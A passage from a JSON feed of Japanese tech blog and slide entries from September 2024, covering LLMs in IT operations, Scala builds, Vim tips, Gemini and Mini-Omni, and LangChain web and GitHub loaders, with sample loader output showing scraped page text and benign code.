くの企業や組織、個人がまだまだ試行錯誤の段階にあることがわかりました。今後は、より具体的な事例研究や、ベストプラクティスの共有が求められると感じています。さいごにLLMは確かに素晴らしい技術ですが、万能ではありません。現段階だと人間の専門知識や判断力と組み合わせることで、初めてその真価を発揮します。今後も、LLMと運用の関係性について研究を続け、自動化の楽しさを紹介していきたいと考えています(ホンマか??)。","isoDate":"2024-09-06T06:46:07.000Z","dateMiliSeconds":1725605167000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Scala アプリケーションのビルドを改善してデプロイ時間を 1/4 にした話 | How I improved the build of my Scala application and reduced deployment time by 4x","link":"https://speakerdeck.com/nomadblacky/scala-ahurikesiyonnohirutowogai-shan-sitetehuroishi-jian-wo-1-4-nisitahua-how-i-improved-the-build-of-my-scala-application-and-reduced-deployment-time-by-4x","contentSnippet":"2024/09/06 Scalaわいわい勉強会 #3\\rhttps://scala-tokyo.connpass.com/event/325327/","isoDate":"2024-09-06T04:00:00.000Z","dateMiliSeconds":1725595200000,"authorName":"Takumi Kadowaki","authorId":"nomadblacky"},{"title":"2024年版 運用者たちのLLM","link":"https://speakerdeck.com/nwiizo/2024nian-ban-yun-yong-zhe-tatinollm","contentSnippet":"Cloud Operator Days 2024 クロージングイベント\\rhttps://cloudopsdays.com/closing/\\r\\rとても、端的に言うと「プロンプトエンジニアリングをしよう」って話。\\rこの発表資料は、LLM(大規模言語モデル)によるIT運用の可能性と課題を探っています。AIOpsの概念を基に、LLMがインシデント対応、ドキュメンテーション、コード分析などの運用タスクをどのように改善できるかを説明しています。同時に、LLMの「幻覚」や不完全性といった課題も指摘し、適切な利用方法やプロンプトエンジニアリングの重要性を強調しています。\\r\\r登壇時ブログ\\rhttps://syu-m-5151.hatenablog.com/entry/2024/09/06/154607","isoDate":"2024-09-06T04:00:00.000Z","dateMiliSeconds":1725595200000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Anker Soundcore Space A40を買った(True wireless earphone)","link":"https://blog.atusy.net/2024/09/06/anker-soundcore-a40/","contentSnippet":"Anker Soundcore Space A40を買いました。https://www.ankerjapan.com/products/a3936前から使ってみたかったところに、Amazonのセールで¥12,990 -> ¥8,990と安くなってたので、購入を決意。対抗馬は横向きで寝ててても使いやすいっぽい Anker Soundcore Sleep A20 でした。ただ、Sleep A20はセールしていなかったのと、私が寝るときはだいたい寝る時は仰向けスタートなので、Space A40でよかろうと判断。","isoDate":"2024-09-06T00:00:00.000Z","dateMiliSeconds":1725580800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"zfをline-wise化して直感的な挙動にするマッピング","link":"https://blog.atusy.net/2024/09/06/linewise-zf/","contentSnippet":"zfがline-wiseに作用するようnnoremap zf zfVやvnoremap zf mode() ==# \'V\' ? \'zf\' : \'Vzf\'しとくと便利","isoDate":"2024-09-06T00:00:00.000Z","dateMiliSeconds":1725580800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Google Cloud Gemini向けの生成AIのプロンプトエンジニアリング","link":"https://shu-kob.hateblo.jp/entry/2024/09/05/235035","contentSnippet":"cloud.google.com生成AIのプロンプトエンジニアリングは様々な手法がありますが、Gemini for Google Cloudなんて出ているのですね。Google Cloud のプロダクトとサービスに関しては、Geminiは学習済のようで、詳しいようです。読んで勉強したいと思います。","isoDate":"2024-09-05T14:50:35.000Z","dateMiliSeconds":1725547835000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Mini-Omni OSSでSpeech-to-Speechができるようになる?","link":"https://shu-kob.hateblo.jp/entry/2024/09/04/233919","contentSnippet":"arxiv.orgGPT-4oの進化系で、リアルタイム音声会話のできる生成AIがOSSで出たようです。github.comその名もMini-Omni。小型モデルでどうリアルタイム音声会話を実現したのか興味深いですね。生成AIでリアルタイム音声会話は難しく、Speech-to-Text-to-Speechという変換手順を踏む必要があり、時間がかかっていたところ、リアルタイム、つまりSpeech-to-Speechで早く処理できるようになった、ということですね。ぜひ論文を読んでみたいと思います。以下、AbstractをGeminiで訳してみました。(OpenAIちゃうんかいw)言語モデルの進歩とMini-Omni言語モデルの最近の進歩は、大きな成果を上げています。GPT-4oは新たなマイルストーンとして、人間とのリアルタイム会話が可能となり、人間に近い自然な流暢さを示しています。このような人間とコンピュータのインタラクションを実現するには、音声モダリティで直接推論を行い、ストリーミングで出力生成できるモデルが必要となります。しかし、これは現在の学術的なモデルではまだ実現できていません。これらのモデルは通常、音声合成のために追加のTTSシステムに依存しており、望ましくない遅延が生じます。本論文では、リアルタイム音声インタラクションが可能なオーディオベースのエンドツーエンド会話モデルであるMini-Omniを紹介します。この機能を実現するために、テキスト指示による音声生成方法と、推論時のバッチ並列戦略を提案しています。この手法は、元のモデルの言語能力を最小限の劣化で保持するのに役立ち、他の研究がリアルタイムインタラクション機能を確立できるようにします。このトレーニング方法を「Any Model Can Talk」と呼んでいます。また、音声出力を最適化したモデルをファインチューニングするためのVoiceAssistant-400Kデータセットも紹介します。私たちの知る限り、Mini-Omniはリアルタイム音声インタラクションのための最初の完全なエンドツーエンド、オープンソースモデルであり、今後の研究に貴重な可能性を提供します。","isoDate":"2024-09-04T14:39:19.000Z","dateMiliSeconds":1725460759000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Google Cloudの生成AIサンプルアプリEnterprise Knowledge Solution (EKS)","link":"https://shu-kob.hateblo.jp/entry/2024/09/03/235705","contentSnippet":"github.comGoogle Cloudの生成AIサンプルアプリ「Enterprise Knowledge Solution」 (EKS)がGitHubで公開されています。EKSはAmazon Elastic Kubernetes Serviceと紛らわしい(苦笑)「Enterprise Knowledge Solution」 はIAPとCloud RunベースでUI付きの生成AIアプリケーションをさっとデプロイできるようです。私はまだ試せていないですが、是非とも触ってみたいですね。terraformでデプロイできる模様。これは面白そう。コードも参考になりそうですね。","isoDate":"2024-09-03T14:57:05.000Z","dateMiliSeconds":1725375425000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"LangChain Meetup Tokyo #2に登壇し、LangChainでWebサイトの内容取得やGitHubソースコード取得、というタイトルで発表しました","link":"https://shu-kob.hateblo.jp/entry/2024/09/02/224106","contentSnippet":"langchain.connpass.comLangChain Meetup Tokyo #2に登壇してきました。私は「LangChainでWebサイトの内容取得やGitHubソースコード取得」というタイトルで発表しました!次は @shu_kob によるLangChainでWebサイトの内容取得やGitHubソースコード取得\uD83D\uDC4F #LangChainJP pic.twitter.com/ryvFxqv6M1— こぎそ | Algomatic (@kgsi) 2024年9月2日 写真撮っていただけてました。ありがとうございます。ChatGPT/LangChainによるチャットシステム構築[実践]入門作者:吉田 真吾,大嶋 勇樹技術評論社Amazon「ChatGPT/LangChainによるチャットシステム構築[実践]入門」の著者、吉田 真吾さん、大嶋 勇樹さんにもお会いできました。お二人の会社、株式会社ジェネラティブエージェンツのCEO西見公宏さんにもお会いでき、コロッケそばさん、技術者としてステキ‼️ #langchainjp pic.twitter.com/N1GE4ArjJ0— \uD835\uDE4E\uD835\uDE5D\uD835\uDE5E\uD835\uDE63\uD835\uDE5C\uD835\uDE64 吉田真吾 (@yoshidashingo) 2024年9月2日 65歳で登壇されたコロッケそばさんかっこよかったです! speakerdeck.com↑私の資料はこちらにアップロードしています。様々な学びがあり、もっと生成AIを頑張ろう、と思えた刺激的なMeetupでした!","isoDate":"2024-09-02T13:41:06.000Z","dateMiliSeconds":1725284466000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"LangChainでWebサイトの内容取得やGitHubソースコード取得","link":"https://speakerdeck.com/shukob/langchaindewebsaitononei-rong-qu-de-yagithubsosukodoqu-de","contentSnippet":"https://langchain.connpass.com/event/329185/\\r\\rLangChainでは、Webサイトの内容取得やGitHubソースコード取得もできます。\\r使用してみた所感も交えてこれらの機能のご紹介をします。","isoDate":"2024-09-02T04:00:00.000Z","dateMiliSeconds":1725249600000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Project IDX での Web アプリケーション開発","link":"https://zenn.dev/satohjohn/articles/4e7a1e5e3140e1","contentSnippet":"概要Project IDX (以下 IDX) は Google Cloud の Cloud Workstations をベースに Google がホストする仮想実装環境を提供してくれるサービスになります。https://idx.dev/PWA 対応しているため、install して利用することが可能です。(私は、 https://open-vsx.org/extension/k--kato/intellij-idea-keybindings こちらの extensions を利用しているため keybind を考えると install したほうが扱いやすいというのがあります)...","isoDate":"2024-09-02T03:41:10.000Z","dateMiliSeconds":1725248470000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"LangChainでgithubリポジトリのソースコードを読む方法","link":"https://shu-kob.hateblo.jp/entry/2024/09/01/235529","contentSnippet":"shu-kob.hateblo.jp昨日の記事に関連して、今回はLangChainでgithubリポジトリのソースコードを読む方法です。github.com↑サンプルソースコードを載せています。js.langchain.com↑使い方はこちら実行例npx ts-node githubLoader.ts https://github.com/shu-kob/langchain-sample-codeDocument { pageContent: \\"import { CheerioWebBaseLoader } from \'@langchain/community/document_loaders/web/cheerio\'\\\\n\\" + \\"import { RecursiveCharacterTextSplitter } from \'@langchain/textsplitters\'\\\\n\\" + \\"import { HtmlToTextTransformer } from \'@langchain/community/document_transformers/html_to_text\'\\\\n\\" + \'\\\\n\' + \'const url = process.argv[2]\\\\n\' + \'\\\\n\' + \'async function webLoad (url: string) {\\\\n\' + \' const loader = new CheerioWebBaseLoader(url)\\\\n\' + \' const docs = await loader.load()\\\\n\' + \\" const splitter = RecursiveCharacterTextSplitter.fromLanguage(\'html\')\\\\n\\" + \' const transformer = new HtmlToTextTransformer()\\\\n\' + \' const sequence = splitter.pipe(transformer)\\\\n\' + \' const newDocuments = await sequence.invoke(docs)\\\\n\' + \\" console.log(\'newDocuments:\')\\\\n\\" + \' console.log(newDocuments)\\\\n\' + \'}\\\\n\' + \'\\\\n\' + \'webLoad(url)\\\\n\', metadata: { source: \'cheerioWebBaseLoader.ts\', repository: \'https://github.com/shu-kob/langchain-sample-code\', branch: \'main\' }, id: undefined}Document { pageContent: \\"import { GithubRepoLoader } from \'@langchain/community/document_loaders/web/github\'\\\\n\\" + \'\\\\n\' + \'const url = process.argv[2]\\\\n\' + \'\\\\n\' + \'async function readSorceCodesFromGithub(url: string) {\\\\n\' + \'\\\\n\' + \' const loader = new GithubRepoLoader(\\\\n\' + \' url,\\\\n\' + \' {\\\\n\' + \' branch: \\"main\\", // Defaultブランチが \\"master\\" でないか注意。他のブランチも選択可能\\\\n\' + \' recursive: true,\\\\n\' + \' processSubmodules: true,\\\\n\' + \' unknown: \\"warn\\",\\\\n\' + \' maxConcurrency: 5, // Defaults to 2\\\\n\' + \' ignorePaths: [\\"*.json\\", \\"*.yaml\\", \\"*.yml\\", \\"*config*\\", \\"*.md\\", \\"Dockerfile\\", \\"*ignore\\", \\".eslintrc.js\\", \\"*.svg\\"] // 除外するファイルパス\\\\n\' + \' }\\\\n\' + \' );\\\\n\' + \'\\\\n\' + \' for await (const doc of loader.loadAsStream()) {\\\\n\' + \' console.log(doc)\\\\n\' + \' }\\\\n\' + \'};\\\\n\' + \'\\\\n\' + \'readSorceCodesFromGithub(url)\\\\n\', metadata: { source: \'githubLoader.ts\', repository: \'https://github.com/shu-kob/langchain-sample-code\', branch: \'main\' }, id: undefined}Document { pageContent: \\"import * as cheerio from \'cheerio\'\\\\n\\" + \'\\\\n\' + \'const url = process.argv[2]\\\\n\' + \'\\\\n\' + \'async function webLoad (url: string) {\\\\n\' + \' // HTMLの取得\\\\n\' + \' const response = await fetch(url)\\\\n\' + \' const htmlText = await response.text()\\\\n\' + \' const cheerioText = cheerio.load(htmlText)\\\\n\' + \'\\\\n\' + \' // styleとscriptを除去\\\\n\' + \\" cheerioText(\'style\').remove()\\\\n\\" + \\" cheerioText(\'script\').remove()\\\\n\\" + \'\\\\n\' + \\" const bodyContent: string = cheerioText(\'body\').text().replace(/\\\\\\\\s+/g, \'\')\\\\n\\" + \'\\\\n\' + \\" console.log(\'bodyContent:\')\\\\n\\" + \' console.log(bodyContent)\\\\n\' + \' return bodyContent\\\\n\' + \'}\\\\n\' + \'\\\\n\' + \'webLoad(url)\\\\n\', metadata: { source: \'webLoad.ts\', repository: \'https://github.com/shu-kob/langchain-sample-code\', branch: \'main\' }, id: undefined}これらのソースコードをプロンプトに含めて、生成AIに投げます。例えば、GitHubリポジトリの仕様を聞くなどです。多くの場合、ソースコードの文量は多くなり、それなりのトークン数になるので、200万トークン対応のGemini-1.5などを使うのが良いでしょう。","isoDate":"2024-09-01T14:55:29.000Z","dateMiliSeconds":1725202529000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"LangChainでURLからWebページの中身を読み込む方法","link":"https://shu-kob.hateblo.jp/entry/2024/08/31/223416","contentSnippet":"langchain.connpass.com今度、Langchain Meetup Tokyoで喋るので、「LangChainでURLからWebページの中身を読み込む方法」を準備中github.com↑ソースコードを上げておきました。npx ts-node cheerioWebBaseLoader.ts https://shu-kob.hateblo.jp/entry/2024/08/29/234143という形で実行し、以下の結果が得られます。newDocuments:[ Document { pageContent: \'Toilを無くして徒然なるままに日暮し硯に向かひたい 読者になる Toilを無くして徒然なるままに日暮し硯に向かひたい\\\\n\' + \'生成AIアプリケーション開発などを行うエンジニアのブログです。 2024-08-29 オライリーのAWS生成AI本 AWSではじめる生成AI\\\\n\' + \'―RAGアプリケーション開発から、基盤モデルの微調整、マルチモーダルAI活用までを試して学ぶ作者:Chris Fregly,Antje\\\\n\' + \'Barth,Shelbee EigenbrodeオライリージャパンAmazon そういや、オライリージャパンからAWSの生成AI本出てますね。\\\\n\' + \'欲しいと思いながらも買うてない。 現状、自身の仕事のほとんどはGoogle cloudなので、AWS書籍どうしようかと思ってますが、\\\\n\' + \'面白そうなら買うてみるしか! 翻訳はAWS Japanの久富木 隆一さん。 AWSの中の人が翻訳しているので確かでしょうね! shu-kob\\\\n\' + \'2024-08-29 23:41 読者になる\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'shu-kob 2024-08-29 23:41 読者になる 広告を非表示にする 関連記事 2024-08-04 日本生成AIユーザ会\\\\n\' + \'Geminiマルチモーダルプログラミング(ハンズオン)を2024年8月13日(… genai-users.connpass.com\\\\n\' + \'このブログで何回か書いておりますが… 2024-07-20 Google Gemini 1.5/LlamaIndex/LangChain\\\\n\' + \'人工知能プログラミング… 2024年7月15日に Googleの生成AIモデル Gemini1.5 に対応した技…\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'1.5/LlamaIndex/LangChain 人工知能プログラミング… 2024年7月15日に Googleの生成AIモデル Gemini1.5\\\\n\' + \'に対応した技… 2024-06-07 Google Cloud Vertex AI Agent Builderの使い方\\\\n\' + \'RAG(Retrieval-Augmented Generation) RAG(Retrieval Augmente… 2024-04-05\\\\n\' + \'生成AIアプリケーション開発入門ハンズオン genai-users.connpass.com この記事は、日本生成AIユーザ会 #1 … 2023-12-17\\\\n\' + \'生成AIについて学んだのでざっとアウトプット はじめに 3-shake Advent Calendar 2023シリーズ1、17日目の記… もっと読む\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'生成AIについて学んだのでざっとアウトプット はじめに 3-shake Advent Calendar 2023シリーズ1、17日目の記… もっと読む\\\\n\' + \'コメントを書く \xab SRETT#10 ~ 夏のSRE祭り!アーカイブ動画… 「SREをはじめよう」(Becoming SRE邦訳)が… \xbb プロフィール\\\\n\' + \'id:shu-kob 読者です 読者をやめる 読者になる 読者になる このブログについて 検索 リンク はてなブログ ブログをはじめる\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'このブログについて 検索 リンク はてなブログ ブログをはじめる 週刊はてなブログ はてなブログPro 最新記事 SRETT#10 ~\\\\n\' + \'夏のSRE祭り!アーカイブ動画公開! オライリーのAWS生成AI本 「SREをはじめよう」(Becoming SRE邦訳)が出版 Google Cloud\\\\n\' + \'エンジニアおよび Google Cloud パートナー2社による生成AI利活用を進めるためのプロセス\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'Google Cloud エンジニアおよび Google Cloud パートナー2社による生成AI利活用を進めるためのプロセス\\\\n\' + \'後継者不足のCOBOLを生成AIに引き継ぎ 月別アーカイブ ▼ ▶ 2024 2024 / 8 2024 / 7 2024 / 6 2024 / 5\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'2024 / 6 2024 / 5 2024 / 4 2024 / 3 2024 / 2 ▼ ▶ 2023 2023 / 12\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'2023 / 12 はてなブログをはじめよう! shu-kobさんは、はてなブログを使っています。あなたもはてなブログをはじめてみませんか?\\\\n\' + \'はてなブログをはじめる(無料) はてなブログとは Toilを無くして徒然なるままに日暮し硯に向かひたい Powered by Hatena Blog |\\\\n\' + \\"ブログを報告する if (typeof window.Hatena === \'undefined\') { window.Hatena = {}; } if\\\\n\\" + \\"(!Hatena.hasOwnProperty(\'Star\')) { Hatena.Star = { VERSION: 2, }; } (function(d,\\\\n\\" + \'s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id))\\\\n\' + \'return; js = d.createElement(s); js.id = id; js.src =\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'VERSION: 2, }; } (function(d, s, id) { var js, fjs =\\\\n\' + \'d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js =\\\\n\' + \'d.createElement(s); js.id = id; js.src =\\\\n\' + \'\\"//connect.facebook.net/ja_JP/sdk.js#xfbml=1&appId=719729204785177&version=v17.0\\";\\\\n\' + \\"fjs.parentNode.insertBefore(js, fjs); }(document, \'script\', \'facebook-jssdk\'));\\\\n\\" + \'引用をストックしました ストック一覧を見る 閉じる 引用するにはまずログインしてください ログイン 閉じる 引用をストックできませんでした。再度お試しください\\\\n\' + \'閉じる 限定公開記事のため引用できません。\\\\n\' + \'\\\\n\' + \'読者です 読者をやめる 読者になる 読者になる Hatena.Diary.GlobalHeader.init()\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }]npx ts-node cheerioWebBaseLoader.ts https://www.gyomusuper.jp/ただし、例えば業務スーパーのホームページを読んだ際、余計なコードが多い。newDocuments:[ Document { pageContent: \\"$(function() { $(\'.sale_bnr_close\').on(\'click\', function() {\\\\n\\" + \\"$(\'.sale_bnr\').css(\'display\', \'none\'); }); }); /*onlineshopメニュー*/ .menu_ec:hover\\\\n\\" + \'{ background:url(\\"./img/menu_ec_on.png\\") no-repeat left center #FFF; transition:\\\\n\' + \'all .5s; } /*Gyomucaメニュー*/ .menu_gyomuca { display: inline-block; width: 260px;\\\\n\' + \'height: 44px; text-align: center; text-decoration: none; line-height: 44px;\\\\n\' + \'outline: none; background:url(\\"./img/menu_gyomuca.png\\") no-repeat left center;\\\\n\' + \'text-indent:100%; white-space:nowrap; overflow:hidden; } .menu_gyomuca:hover {\\\\n\' + \'background:url(\\"./img/menu_gyomuca_on.png\\") no-repeat left center #FFF;\\\\n\' + \'transition: all .5s; } /*ここまで*/ .menu_gyomuca_on\\\\n\' + \'{background:url(\\"./img/menu_gyomuca_on.png\\") no-repeat left center\\\\n\' + \'#FFF;text-indent:100%;white-space:nowrap;overflow:hidden;display:\\\\n\' + \'inline-block;width: 260px;height: 44px;line-height: 44px;}\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'left center #FFF;text-indent:100%;white-space:nowrap;overflow:hidden;display:\\\\n\' + \'inline-block;width: 260px;height: 44px;line-height: 44px;}\\\\n\' + \'お問い合わせ | 会社案内 | サイトポリシー | 個人情報の保護に関する基本方針 ホーム 商品紹介 ミラクルレシピ 特集一覧 安心安全の取り組み\\\\n\' + \'業務スーパーとは Gyomuca お問い合わせ オンラインショップ FC加盟店募集 会社案内 日本語 / ENGLISH / 中文 .fc_com_link {\\\\n\' + \'display: flex; margin-left: 40px; margin-top: 5px; } #side_menu ul.fc_com_link\\\\n\' + \'li { width: auto; height: auto; } #side_menu ul.fc_com_link li:nth-of-type(1) {\\\\n\' + \'margin-right: 10px; } #side_menu ul.fc_com_link li a { position: relative;\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'height: auto; } #side_menu ul.fc_com_link li:nth-of-type(1) { margin-right:\\\\n\' + \'10px; } #side_menu ul.fc_com_link li a { position: relative; font-size: 12px;\\\\n\' + \'color: #fff; font-weight: bold; text-shadow: 0px 0px 0.1px #fff; letter-spacing:\\\\n\' + \'1px; padding:5px; } #side_menu ul.fc_com_link li a span { content: \\"\\"; display:\\\\n\' + \'inline-block; width: 0; height: 0; border-style: solid; border-width: 5px 0 5px\\\\n\' + \'8.7px; border-color: transparent transparent transparent #ffffff; padding-right:\\\\n\' + \'8px; } #side_menu ul.fc_com_link li a:hover { background-color: #fff; color:\\\\n\' + \'#00a55a; text-decoration: none; transition: all .5s; } #side_menu ul.fc_com_link\\\\n\' + \'li a:hover span { border-color: transparent transparent transparent\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'#00a55a; text-decoration: none; transition: all .5s; } #side_menu ul.fc_com_link\\\\n\' + \'li a:hover span { border-color: transparent transparent transparent #00a55a;\\\\n\' + \'transition: all .5s; } /*FCページの時*/ #side_menu ul.fc_com_link li a.menu_fc2_on {\\\\n\' + \'background-color: #fff; color: #00a55a; text-decoration: none; text-shadow: 0px\\\\n\' + \'0px 0.1px #00a55a; } #side_menu ul.fc_com_link li a.menu_fc2_on span {\\\\n\' + \'border-color: transparent transparent transparent #00a55a; } /*ここまで*/ .lang_box\\\\n\' + \'{ margin-left: 42px; display: flex; } .lang_box span:nth-child(n + 2) {\\\\n\' + \'margin-left: 8px; } .social_box { margin-left: 38px; display: flex; margin-top:\\\\n\' + \'20px; padding-left: 5px; } .social_box p img { width: 100%; } .social_box\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'{ margin-left: 38px; display: flex; margin-top: 20px; padding-left: 5px; }\\\\n\' + \'.social_box p img { width: 100%; } .social_box p:nth-of-type(1) { margin-right:\\\\n\' + \'18px; } .social_box p { width: 35px; } @media screen and (min-width: 1024px) {\\\\n\' + \'#side_menu .social_box { padding-bottom: 80px; } } // 指定日時を超えたらセールスライド・バナー非表示\\\\n\' + \\"var now = new Date(); var end = new Date(\'2024/10/31 23:59:59\');\\\\n\\" + \\"//(指定日時 時間は24h表記) if ( now > end ) { $(\'.sale_slide_top\').remove();\\\\n\\" + \\"$(\'.sale_bnr\').remove(); }else{ // 保持時間を設定 30分後を取得 var min = new Date();\\\\n\\" + \'min.setTime( min.getTime() + ( 30 * 60 * 1000 )); console.log(min);\\\\n\' + `$(\'.sale_bnr\').css(\'display\',\'block\'); $.cookie(\\"sale_bnr\\") ==`, metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'var min = new Date(); min.setTime( min.getTime() + ( 30 * 60 * 1000 ));\\\\n\' + `console.log(min); $(\'.sale_bnr\').css(\'display\',\'block\'); $.cookie(\\"sale_bnr\\") ==\\\\n` + `\'on\'?$(\'.sale_bnr\').hide():$(\'.sale_bnr\').show(); $.cookie(\\"sale_bnr\\",\'on\',{\\\\n` + \\"expires: min , path: \'/\' }); } // 指定日時を超えたらセールスライド・バナー非表示 var now = new Date();\\\\n\\" + \\"var end = new Date(\'2024/8/31 23:59:59\'); //(指定日時 時間は24h表記) if ( now > end ) {\\\\n\\" + \\"$(\'.sale_bnr_img img\').attr(\'src\',\'img/main_sale20240901.png\'); }\\\\n\\" + \\"$(window).on(\'load\', function(){ $(\'#bakudan\').attr(\'data-lightbox\',\'info01\');\\\\n\\" + \'}); // 指定日時を超えたらセールスライド・バナー非表示 var now = new Date(); var end = new\\\\n\' + \\"Date(\'2024/8/31 23:59:59\'); //(指定日時 時間は24h表記) if ( now > end ) {\\\\n\\" + \\"$(\'.bakudan_slide\').remove(); $(\'.sale_alide\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\"指定日時を超えたらセールスライド・バナー非表示 var now = new Date(); var end = new Date(\'2024/8/31\\\\n\\" + \\"23:59:59\'); //(指定日時 時間は24h表記) if ( now > end ) { $(\'.bakudan_slide\').remove();\\\\n\\" + \\"$(\'.sale_alide img\').attr(\'src\',\'img/main_sale20240901.png\'); } NEW ITEM 新着商品 新着\\\\n\\" + \'ホット&スパイシーヌードル\\\\n\' + \'ホットでスパイシーなインスタントヌードルです。スパイスをきかせたスープは、ピリッとした辛さの中にも旨みがあり、クセになります!熱湯をかけて粉末スープと調味オイルを加えるだけの簡単調理も魅力。鍋で煮込んでお好みの具材や、ご飯を入るアレンジもおすすめです。5袋入り。\\\\n\' + \'詳しくはこちら 詳しくはこちら PICK UP!おすすめ商品 商品をもっと見る 新着 パルメザンチーズのリゾット\\\\n\' + \'イタリアの米料理の定番!リゾットです。パルメザンチーズのコクと旨味がたっぷり詰まった濃厚な味わい♪チーズがお好きな方におすすめのレシピです。おうちでお手軽にイタリアンをお楽しみください!\\\\n\' + \'詳しくはこちら\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'パルメザンチーズのリゾット\\\\n\' + \'イタリアの米料理の定番!リゾットです。パルメザンチーズのコクと旨味がたっぷり詰まった濃厚な味わい♪チーズがお好きな方におすすめのレシピです。おうちでお手軽にイタリアンをお楽しみください!\\\\n\' + \'詳しくはこちら パルメザンチーズ[要冷蔵] 詳しくはこちら PICK UP!おすすめレシピ レシピをもっと見る SPECIAL TOPICS 特集\\\\n\' + \'特集をもっと見る SNS 公式Instagram・公式X(旧Twitter) Tweets\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'Tweets by GyomusuperOFCL 公式Instagram 公式X(旧Twitter)\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'公式Instagram 公式X(旧Twitter)\\\\n\' + \'2024年8月30日台風10号の影響による営業に関するお知らせいつもご愛顧いただき、誠にありがとうございます。台風10号の今後の進路や状況により、お客さまの安全を最優先としまして、一部店舗では営業時間の短縮および臨時休業させていただく場合がございます。各店舗の営業状況につきましては、台風10号の影響による営業に関するお知らせをご確認ください。※最新の情報に関しましては、ご利用の店舗に直接お問い合わせください。大変ご迷惑をおかけしますが、何卒ご了承いただきますようお願いいたします。2024年8月19日フジテレビ「めざましテレビ」で紹介されました2024年8月16日(金)放送のフジテレビ「めざましテレビ」で、業務スーパーの商品が紹介されました。放送局:フジテレビ番組名:「めざましテレビ」放送日:2024年8月16日(金)めざましテレビ2024年8月16日台風7号の影響による営業に関するお知らせいつもご愛顧いただき、誠にありがとうございます。台風7号の今後の進路や状況により、お客さまの安全を最優先としまして、一部店舗では営業時間の短縮および臨時休業させていただく場合がございます。各店舗の営業状況につきましては、台風7号の影響による営業に関するお知らせをご確認ください。※最新の情報に関しましては、ご利用の店舗に直接お問い合わせください。大変ご迷惑をおかけしますが、何卒ご了承いただきますようお願いいたします。2024年8月15日【セール情報】9月1日(日)から「お買い得まみれ!!総力祭\\\\n\' + \'日頃のご愛顧感謝セール」START!いつも業務スーパーをご愛顧いただきありがとうございます!9月1日(日)から10月31日(木)までの2か月間、感謝の気持ちをたっぷり込めた「お買い得まみれ!!総力祭\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'日頃のご愛顧感謝セール」START!いつも業務スーパーをご愛顧いただきありがとうございます!9月1日(日)から10月31日(木)までの2か月間、感謝の気持ちをたっぷり込めた「お買い得まみれ!!総力祭\\\\n\' + \'日頃のご愛顧感謝セール」を開催いたします。国内関連工場のオリジナル商品や海外直輸入商品など、とにかくお得なアイテム盛りだくさん!全国の業務スーパーで皆さまのご来店を心よりお待ちしております。<セール期間>【第1弾】2024年9月1日(日)~9月30日(月)【第2弾】2024年10月1日(火)~10月31日(木)<セール対象店舗>全国の業務スーパー各店(※一部店舗を除く)セール特設ページはこちら2024年8月12日台風5号の影響による営業に関するお知らせいつもご愛顧いただき、誠にありがとうございます。台風5号の今後の進路や状況により、お客さまの安全を最優先としまして、一部店舗では営業時間の短縮および臨時休業させていただく場合がございます。各店舗の営業時間や休業のご確認につきましては、台風5号の影響による営業に関するお知らせをご確認ください。大変ご迷惑をおかけしますが、何卒ご了承いただきますようお願いいたします。\\\\n\' + \'一覧を見る 『世界の本物』を直輸入!\\\\n\' + \'業務スーパーには、世界の国々で現地の人々に愛されている『世界の本物』が盛りだくさん!めずらしいものから日本でもなじみのあるものまで、厳選したアイテムを、高品質&ロープライスで取りそろえています!\\\\n\' + \'安さの秘密 自慢の国内自社工場の『オリジナル』\\\\n\' + \'国内の自社工場で、さまざまな「食」のニーズに応える、オリジナル商品をつくっています!ユニークな商品から日々の食卓に欠かせない商品までバラエティ豊かに低価格で取りそろえています!\\\\n\' + \'安全・安心の秘密\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'自慢の国内自社工場の『オリジナル』\\\\n\' + 